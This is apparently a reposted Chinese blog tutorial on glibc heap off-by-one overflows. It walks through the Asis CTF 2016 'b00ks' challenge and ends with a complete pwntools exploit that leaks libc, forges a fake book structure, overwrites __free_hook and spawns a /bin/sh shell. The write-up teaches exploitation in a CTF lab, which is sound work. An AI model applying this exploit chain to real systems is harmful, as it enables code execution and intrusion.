Linux 二进制漏洞挖掘入门系列之(二)堆溢出:off-by-one

0x1 堆

堆,是 C/C++中常见的数据结构,与栈不同的是,需要由程序猿自己申请和释放。在CTF的比赛中,关于堆的pwn数见不鲜,其利用过程往往较为复杂,需要对堆块有一个比较深刻的理解,才能达到很好的漏洞利用效果。所以,此类漏洞,最大困难往往并不是发现漏洞点,怎么样利用漏洞达到getshell的效果。

在程序运行中,堆是可以提供动态分配的内存,允许程序申请未知大小的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址往高地址方向增长。我们一般称管理堆的那部分程序为堆管理器

Linux中,常见的堆管理器是glibc中的ptmalloc2,我们简要介绍一下堆块的一些基本数据结构,详情请参考CTF-WIKI,该链接有关于堆的详细描述,在看懂其基本章节的基础上,再尝试相关的漏洞利用,会达到事半功倍的效果。堆在虚拟内存中的位置如下
在这里插入图片描述
借助于网友提供的此图,我们可以很清楚的看到进程空间的内存分布,而我们关注的主要是heap段。这里不得不介绍一个重要的概念——chunk。

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。我们常用的malloc函数,其背后会调用brk或者mmap函数来进行实际的内存分配。

也就是说,malloc分配好的一块内存空间,称之为chunk。与之对应的还有存放chunk的容器:bin。因为本次试验不会用到bin,所以再次不在赘述,但是想全面的了解堆,后续还是必须要了解每一个重要的结构,包括bin,详细可参考CTF-WIKI。malloc申请的内存小于128K时,使用brk(),以追加的方式,往高地址分配一块chunk,其余则使用mmap的方式创建一个匿名的内存空间。
在这里插入图片描述

0x2 off-by-one

off-by-one,即一字节溢出,也就是说输入的数据超过了申请的内存空间的大小,刚好超过一个字节,导致堆溢出,这是程序员对于边界条件考虑不当造成的溢出,原理其实很简单,举例来说

void * chunk;
chunk = malloc(10);
for(int i = 0; i <= 10; i++){
	chunk[i] = getchar();
}

这就是一个简单的off-by-one,一些新手往往会犯这样的错误,i=10的时候已经超出了边界,导致分配好的chunk的下一个存储单元存储了一个字节,越界写。其实在一些复杂的程序中,一些经验丰富的程序猿同样会在不经意间犯错。

0x3 Asis CTF 2016 b00ks

题目链接,可自行下载相关二进制程序,放在64位的linux下即可,这道题就是一道典型的 null byte off-by-one

拿到题目的第一步肯定是运行程序,看看都有什么功能。这是一个经典的选单式程序,功能是一个图书管理系统。程序有以下6个功能,也就是创建、删除、编辑、打印、改变作者姓名以及退出。
在这里插入图片描述
使用file命令列出该二进制文件的详细信息
在这里插入图片描述

0x31 静态分析与动态调试

有两个关键点,一是该程序是64位的ELF可执行程序,所以要用64位的IDA进行反汇编操作;二是stripped过,也就是说,反编译的代码可能是没有变量名称以及函数名称的,降低了反编译代码的可读性。我们实际结合IDA反编译的代码查看程序相应的逻辑,查找漏洞所在。
在这里插入图片描述
上图是main函数的主体部分,程序运行之初会提示用户输入作者姓名,之后循环判断用户选择了哪个菜单。我们首先进入sub_B6D(),找到其调用的函数 sub_9F5()
在这里插入图片描述
输入author的操作,调用该函数,也就是循环读取用户输入,并且利用 *buf = ‘\0’ 手动给字符串结尾添加结束符。也就是说,我们输入的字符串长度为32位,但实际向内存中多写入了一个结束符。再接着分析 sub_F55(),也就是create a book,该函数也是也给重点分析的函数。
在这里插入图片描述
那么通过上述分析可总结出一个规律


输入author name ==>> 分配一块大小为32字节的内存
创建一本书 ==>> 分配一块chunk保存book name >> 分配一块chunk保存 book description >> 分配一块chunk保存book结构体


malloc申请的内存在小于128KB时,使用brk方式往高地址追加分配的内存,因此,对于创建一本书来说,这里的内存分布理论上应该是这样的
在这里插入图片描述
那么这个author name跟book struct又有什么关系呢?到目前为止,我们并不知道溢出的一个字节有什么作用,再次分析反编译的代码,我们发现
在这里插入图片描述
这里40的偏移地址是author name的地址,而60的偏移地址是book的地址,期间相差 0x20=32 个字节,因此理论上的内存布局如下,这张图很关键,是整个漏洞利用的核心部分,一定要搞清楚。
在这里插入图片描述
我们可以结合gdb,调试程序,验证我们分析的内存空间分布。例如,我们输入的作者名为lys,则内存布局如下,0x40存放的是我们的名字,0x60存放的是指向book的地址
在这里插入图片描述
在这里插入图片描述
从上图可知,与我们分析的内存空间布局一致。如果我们写入了32位的author name,最终的33位 ‘\0’ 会写入下一个字节,也就是会覆盖指向book的地址的一个低字节,造成book地址低位被置空。

0x32 漏洞利用

通过前一节的分析,已经对整个程序的漏洞点以及内存分布有了一个清晰的认识,在此基础上,进行漏洞利用就是一件比较简单的事情了。先说说整体的利用思路,以下过程一定要对照内存空间分布来看。

  1. 首先选择1创建一本书,紧接着选择4打印一本书的详情,这时候打印的名字结尾处会多出几个字符,实际上这就是33位存储的空间,根据我们在前一节的内存布局分析可知,也就是book1的地址。这就是地址泄露
  2. 再次创建一本书book2,程序提供了change的功能,可修改author name,选择5修改作者名称,名字要达到32位,这时候,book1的地址低字节会被 '\x00’置为0,也就是该地址指针,会减小,根据前一节所述的内存空间分布,地址减小就有可能指向book1的name或者description,我们的目的是要让它指向description
  3. 程序提供了一种edit功能,即改变book的description,基于此,我们可以在book1的description中布置一个伪造的fake book,这个book的description和name指针可以由我们任意写入,这就是任意地址写
  4. fake book中的name和description都应该指向book2中的name和description,根据前一节的内存分布图,可得到fake book与book2之间的 offset = 0x20 + 0x10 + 0x8
  5. 输出book1,那么book1的description就是fake_book1,就可以打印出book2的description的地址,实现泄露,得到libc_base
  6. 将book2的description设置为__free_hook函数,将book2的name设置为system("/bin/sh")函数,再free book2,调用__free_hook,执行system("/bin/sh")。这里也可以使用execve,这个可以在onegadget中找到

注意点

  • book2的name和description的size一定要很大,这样malloc会使用mmap创建匿名空间去映射而非brk,原因一:可让book2的结构体紧挨着book1,也就是可以让fake book轻松指向book2;原因二:glibc库与mmap映射的匿名空间存在固定的偏移,基于此可泄露glibc的基地址
  • 对于book1的name和description的size,需要调试,并计算,使得book1地址被一字节覆盖以后,能够指向description

怎么计算glibc与mmap映射空间的固定偏移呢创建book1,name size=1000000,name的值随意,这里为aaa;description size=1000000,值也随意
在这里插入图片描述
所以 libc_offset = 0x7ffff7cf3010 - 0x00007ffff7de8000

怎么使得book1地址被一字节覆盖以后,能够指向description?我们开始输入book1的name size=120,name的值随意;description size=200,值也随意
在这里插入图片描述
这时候,看如果修改author name,使其覆盖book1地址的一个低字节,book1的指针是否会指向description1,如下图所示,刚好满足要求,因此我们构造的book1大小是符合需要的。
在这里插入图片描述
1、创建book1,利用author泄露book1的地址,book1的size我们上述已经讨论过

create_book(120, "book1", 200, "description1")
book1_id, book1_name, book1_desc, author = print_book(1)
book1_addr = u64(author[32: 32 + 6].ljust(8, "\x00"))
log.info("book1_addr: " + book1_addr)

2、编辑book1的description,使其存储的是我们构造的fake book,fake book需要满足我们之前所说的,指向book2

fake_book = "a" * 0x10 + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
edit_book(1, fake_book)
change_author("a" * 32)
fake_id, fake_name, fake_desc, author = print_book(1)

3、创建book2,泄露book2的地址,进而计算出libc的基地址

create_book(1000000, "book2", 1000000, "description2")
book2_name_addr = u64(fake_name.ljust(8, "\x00"))
book2_desc_addr = u64(fake_desc.ljust(8, "\x00"))
log.info("book2_name_addr: " + str(book2_name_addr))
log.info("book2_desc_addr: " + str(book2_desc_addr))

libc_offset = 0x7ffff7cf3010 - 0x00007ffff7de8000
libc_addr = book2_name_addr - libc_offset
log.info("libc_addr: " + libc_addr)

4、将__free_hook和system("/bin/sh")写入相应位置,free后调用

free_hook_addr = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()

edit_book(1, p64(bin_sh_addr) + p64(free_hook_addr))
edit_book(2, p64(system_addr))

delete_book(2)

这样就完成了漏洞利用的过程。完整exploit如下

from pwn import *

sh = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(log_level='debug', os='linux')
sh.recvuntil("Enter author name: ")
sh.sendline("a" * 32)
sh.recvuntil("> ")

def create_book(name_size, name, desc_size, desc):
	sh.sendline("1")
	sh.recvuntil("Enter book name size: ")
	sh.sendline(str(name_size))
	sh.recvuntil("Enter book name (Max 32 chars): ")
	sh.sendline(name)
	sh.recvuntil("Enter book description size: ")
	sh.sendline(str(desc_size))
	sh.recvuntil("Enter book description: ")
	sh.sendline(desc)

def delete_book(id):
	sh.sendline("2")
	sh.recvuntil("Enter the book id you want to delete: ")
	sh.sendline(str(id))

def edit_book(id, new_desc):
	sh.sendline("3")
	sh.recvuntil("Enter the book id you want to edit: ")
	sh.sendline(str(id))
	sh.recvuntil("Enter new book description: ")
	sh.sendline(new_desc)

def print_book(id):
	sh.sendline("4")
	sh.recvuntil("ID: ")

	for i in range(id):
	    book_id = sh.readline(keepends=False)
	    sh.recvuntil(": ")
	    book_name = sh.readline(keepends=False)
	    sh.recvuntil(": ")
	    book_desc = sh.readline(keepends=False)
	    sh.recvuntil(": ")
	    book_author = sh.readline(keepends=False)
	return book_id, book_name, book_desc, book_author

def change_author(author_name):
	sh.sendline("5")
	sh.recvuntil("Enter author name: ")
	sh.sendline(author_name)

create_book(120, "book1", 200, "description1")
book1_id, book1_name, book1_desc, author = print_book(1)
book1_addr = u64(author[32: 32 + 6].ljust(8, "\x00"))
log.info("book1_addr: " + str(book1_addr))

fake_book = "a" * 0x10 + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
edit_book(1, fake_book)
change_author("a" * 32)
fake_id, fake_name, fake_desc, author = print_book(1)

create_book(1000000, "book2", 1000000, "description2")
book2_name_addr = u64(fake_name.ljust(8, "\x00"))
book2_desc_addr = u64(fake_desc.ljust(8, "\x00"))
log.info("book2_name_addr: " + str(book2_name_addr))
log.info("book2_desc_addr: " + str(book2_desc_addr))

libc_offset = 0x7ffff7cf3010 - 0x00007ffff7de8000
libc_addr = book2_name_addr - libc_offset
log.info("libc_addr: " + libc_addr)

free_hook_addr = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()

edit_book(1, p64(bin_sh_addr) + p64(free_hook_addr))
edit_book(2, p64(system_addr))

delete_book(2)
sh.interactive()

备注:实验版本的libc过高,容易导致exploit失败,最好是低版本的libc,本次试验所用的libc-2.28.so容易利用失败。

发布了23 篇原创文章 · 获赞 22 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/103565826